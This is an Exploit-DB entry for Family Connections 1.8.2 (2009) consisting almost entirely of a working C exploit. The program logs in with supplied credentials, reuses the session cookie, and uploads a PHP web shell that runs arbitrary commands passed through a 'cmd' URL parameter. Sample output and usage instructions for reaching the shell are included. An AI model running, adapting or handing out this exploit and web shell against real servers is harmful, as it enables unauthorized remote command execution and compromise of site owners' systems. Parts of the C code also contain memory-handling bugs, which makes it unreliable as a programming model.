Exploit-DB #8349
Description: Family Connections 1.8.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-04-03
Author: Salvatore Fresta

Exploit:
/*

	Family Connections <= 1.8.2 - Remote Shell Upload Exploit
	
	Author: Salvatore "drosophila" Fresta
	
	Contact: drosophilaxxx@gmail.com
	
	Date: 3 April 2009

	The following software will upload a simple php shell.
	To execute remote commands, you must open the file 
	using a browser.
	
	gcc rsue.c -o rsue
	
	./rsue localhost /fcms/ user password

	[*] Connecting...
	[+] Connected
	[*] Send login...
	[+] Login Successful
	[+] Uploading...
	[+] Shell uploaded
	[+] Connection closed
	
	Open your browser and go to http://localhost/fcms/gallery/documents/shell.php?cmd=[commands]

*/	

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>

int socket_connect(char *server, int port) {

	int fd;
	struct sockaddr_in sock;
	struct hostent *host;
	
	memset(&sock, 0, sizeof(sock));
	
	if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
	
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);
	
	if(!(host=gethostbyname(server))) return -1;
	
	sock.sin_addr = *((struct in_addr *)host->h_addr);
	
	if(connect(fd, (struct sockaddr *) &sock, sizeof(sock)) < 0) return -1;
	
	return fd;
   
}

int socket_send(int socket, char *buffer, size_t size) {
	
	if(socket < 0) return -1;

	return write(socket, buffer, size) < 0 ? -1 : 0;
	
}

char *socket_receive(int socket, int tout) {

	fd_set input;
	int ret, byte;
	char *buffer, *tmp;
	struct timeval timeout;
	
	FD_ZERO(&input);
	FD_SET(socket, &input);
	
	if(tout > 0) {
			timeout.tv_sec  = tout;
			timeout.tv_usec = 0;
	}
	
	if(socket < 0) return NULL;
	
	if(!(buffer = (char *) calloc (0, sizeof (char)))) return NULL;
	
	while (1) {
	
		if(tout > 0)
			ret = select(socket + 1, &input, NULL, NULL, &timeout);
	else
			ret = select(socket + 1, &input, NULL, NULL, NULL);
	
	if (!ret) break;
	if (ret < 0) return NULL;
	
	if(!(tmp = (char *) calloc (1024, sizeof (char)))) return NULL;
	
	if ((byte=read(socket, tmp, 1024)) < 0) return NULL;
	
		if(!byte) break;
	
	if(!(buffer = (char *) realloc(buffer, strlen (buffer) + strlen (tmp)))) return NULL;
	
	strncat(buffer, tmp, strlen(buffer)+strlen(tmp));
	
	}
	
	return buffer;
   
}

void usage(char *bn) {

	printf("\nFamily Connections <= 1.8.2 - Remote Shell Upload Exploit\n"
			"Author: Salvatore \"drosophila\" Fresta\n\n"
			"usage: %s <server> <path> <username> <password>\n"
			"example: %s localhost /fcms/ admin 123456\n\n", bn, bn);	

}

int main(int argc, char *argv[]) {
	
	int sd;
	char code[] = "--AaB03x\r\n"
					"Content-Disposition: form-data; name=\"doc\"; filename=\"shell.php\"\r\n"
					"Content-Type: text/plain\r\n"
					"\r\n"
					"<?php echo \"<pre>\"; system($_GET['cmd']); echo \"</pre>\"?>\r\n"
					"--AaB03x\r\n"
					"Content-Disposition: form-data; name=\"desc\"\r\n"
					"\r\n"
					"description\r\n"
					"--AaB03x\r\n"
					"Content-Disposition: form-data; name=\"submitadd\"\r\n"
					"\r\n"
					"Submit\r\n"
					"--AaB03x--\r\n",
		*buffer = NULL,
		*rec = NULL,
		*session = NULL;
		
	if(argc < 5) {
		usage(argv[0]);
		return -1;
	}
	
	if(!(buffer = (char *)calloc(200+strlen(code)+strlen(argv[1])+strlen(argv[2])+strlen(argv[3])+strlen(argv[4]), sizeof(char)))) {
		perror("calloc");
		return -1;
	}
	
	sprintf(buffer, "POST %sindex.php HTTP/1.1\r\n"
					"Host: %s\r\n"
					"Content-Type: application/x-www-form-urlencoded\r\n"
					"Content-Length: %d\r\n\r\nuser=%s&pass=%s&submit=Login", argv[2], argv[1], (strlen(argv[4])+strlen(argv[3])+24), argv[3], argv[4]);
	
					
	printf("\n[*] Connecting...");
	
	if((sd = socket_connect(argv[1], 80)) < 0) {
		printf("[-] Connection failed!\n\n");
		free(buffer);
		return -1;
	}
	
	printf("\n[+] Connected"
			"\n[*] Send login...");
	
	if(socket_send(sd, buffer, strlen(buffer)) < 0) {
		printf("[-] Sending failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!(rec = socket_receive(sd, 0))) {
		printf("[-] Receive failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!strstr(rec, "Login Successful")) {
		printf("\n[-] Login Incorrect!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	session = strstr(rec, "PHPSESSID");
	session = strtok(session, ";");
	
	if((sd = socket_connect(argv[1], 80)) < 0) {
		printf("[-] Connection failed!\n\n");
		free(buffer);
		return -1;
	}
	
	printf("\n[+] Login Successful"
			"\n[+] Uploading...");
	
	sprintf(buffer, "POST %sdocuments.php HTTP/1.1\r\n"
					"Host: %s\r\n"
					"Cookie: %s\r\n"
					"Content-type: multipart/form-data, boundary=AaB03x\r\n"
					"Content-Length: %d\r\n\r\n%s", argv[2], argv[1], session, strlen(code), code);
	
	if(socket_send(sd, buffer, strlen(buffer)) < 0) {
		printf("[-] Sending failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!(rec = socket_receive(sd, 0))) {
		printf("[-] Receive failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	if(!strstr(rec, "Uploaded Successfully")) {
		printf("\n[-] Upload failed!\n\n");
		free(buffer);
		close(sd);
		return -1;
	}
	
	free(buffer);
	close(sd);
	
	printf("\n[+] Shell uploaded"
			"\n[+] Connection closed\n\n"
			"Open your browser and go to http://%s%sgallery/documents/shell.php?cmd=[commands]\n\n", argv[1], argv[2]);
	
	return 0;
	
}

// milw0rm.com [2009-04-03]